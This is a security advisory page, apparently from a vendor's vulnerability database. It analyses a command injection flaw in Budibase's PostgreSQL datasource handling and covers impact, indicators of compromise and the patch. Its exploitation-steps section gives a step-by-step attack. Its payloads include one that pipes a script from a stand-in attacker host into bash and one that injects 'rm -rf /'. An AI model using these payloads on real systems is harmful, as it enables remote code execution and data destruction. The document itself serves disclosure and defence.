CVE-2026-25041: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-25041 is an OS command injection vulnerability in the PostgreSQL integration of Budibase, a low-code platform for building internal tools. The flaw exists in packages/server/src/integrations/postgres.ts (lines 529–531), where database connection parameters — including the password — are directly interpolated into a shell command string passed to Node.js's exec() without sanitization. All Budibase versions up to and including 3.23.22 are affected; the patched version is 3.23.32. It was disclosed on March 9, 2026, with a CVSS v3.1 score of 7.2 (High) and a CVSS v4.0 score of 8.6 (High) (Github Advisory, Budibase Advisory).

Technical details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command) and CWE-77 (Command Injection). The vulnerable code constructs a shell command by directly interpolating user-controlled PostgreSQL configuration values — specifically the password field — into a template literal: PGPASSWORD="${this.config.password}" pg_dump --schema-only "${dumpCommandParts.join(" ")}", which is then executed via Node.js's child_process.exec(). An attacker who controls database configuration values (e.g., via compromised admin credentials or configuration injection) can break out of the quoted string using payloads such as password"; malicious-command; echo " or inject into the database name field with db"; rm -rf /; echo ". This feature was restricted to self-hosted deployments only, as Budibase Cloud explicitly blocked the getExternalSchema() endpoint to prevent shell injection (Budibase Advisory, Vulnerable Source).

Impact

Successful exploitation allows an authenticated attacker with database configuration access to execute arbitrary OS commands as the Budibase server process, resulting in full system compromise, data exfiltration, and potential destruction of data (e.g., rm -rf /). The impact spans confidentiality, integrity, and availability of the host system. Because the injected commands run in the server process context, an attacker could pivot to other internal services, install backdoors, or exfiltrate sensitive application and database credentials (Github Advisory, Budibase Advisory).

Exploitability

No confirmed in-the-wild exploitation has been observed, and no standalone proof-of-concept exploit code is publicly available beyond the illustrative payloads included in the security advisory itself. The EPSS score is approximately 0.082% (24th percentile), indicating a low near-term exploitation probability. Exploitation requires high privileges — specifically, the ability to modify PostgreSQL datasource configuration within a self-hosted Budibase instance — limiting the attack surface. The vulnerability is not listed in the CISA KEV catalog, and no threat actor attribution has been reported (Github Advisory, Budibase Advisory).

Exploitation steps

  1. Gain privileged access: Obtain credentials for a Budibase account with permission to create or modify datasource configurations (e.g., admin or builder role) on a self-hosted Budibase instance running version ≤ 3.23.22.
  2. Navigate to PostgreSQL datasource settings: In the Budibase builder UI, open or create a PostgreSQL datasource configuration under the Data section.
  3. Inject payload into the password field: Set the PostgreSQL password field to a crafted value such as password"; <malicious-command>; echo " — for example, password"; curl http://attacker.com/shell.sh | bash; echo ".
  4. Trigger the schema export: Navigate to the datasource Settings panel and trigger the "Export Schema" / external schema fetch, which calls the getExternalSchema() method and constructs the vulnerable shell command.
  5. Achieve code execution: The server executes the constructed shell string via child_process.exec(), causing the injected command to run as the Budibase server process, enabling reverse shell, data exfiltration, or further lateral movement (Budibase Advisory, Vulnerable Source).

Indicators of compromise

  • Logs: Budibase server logs showing calls to /api/datasources/<id>/schema/external followed by unexpected process output or errors from pg_dump; Node.js process logs containing shell error messages or unexpected stdout from exec() calls.
  • Process: Unusual child processes spawned by the Budibase Node.js server process (e.g., bash, sh, curl, wget, python, nc) visible via ps aux or process monitoring tools.
  • Network: Unexpected outbound connections from the Budibase server host to external IPs or domains, particularly shortly after datasource schema export operations.
  • File System: New or modified files in the Budibase server directory or system directories (e.g., cron jobs, SSH authorized_keys, web shells, or downloaded scripts) created by the Budibase service account.
  • Authentication: Unusual admin-level logins to the Budibase instance, particularly from unfamiliar IPs, preceding datasource configuration changes (Budibase Advisory).

Mitigation and workarounds

Upgrade Budibase to version 3.23.32 or later, which removes the vulnerable getExternalSchema() endpoint and the associated shell command construction entirely from the PostgreSQL integration (Github Advisory, Patch Commit). If immediate patching is not possible, restrict database configuration access to trusted administrators only and implement network-level controls to limit who can modify PostgreSQL connection settings. As a defense-in-depth measure, run the Budibase server process with a least-privilege OS account to limit the blast radius of any command injection. Note that Budibase Cloud was not affected, as the endpoint was already blocked in that environment.

Community reactions

The vulnerability was reported by security researcher omkarparth and published by Budibase maintainer mjashanks on March 9, 2026. The advisory was noted across automated CVE tracking platforms including Bluesky CVE feeds, ENISA's EUVD, and INCIBE-CERT shortly after disclosure, but no significant independent researcher commentary or media coverage has been identified (Budibase Advisory).

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management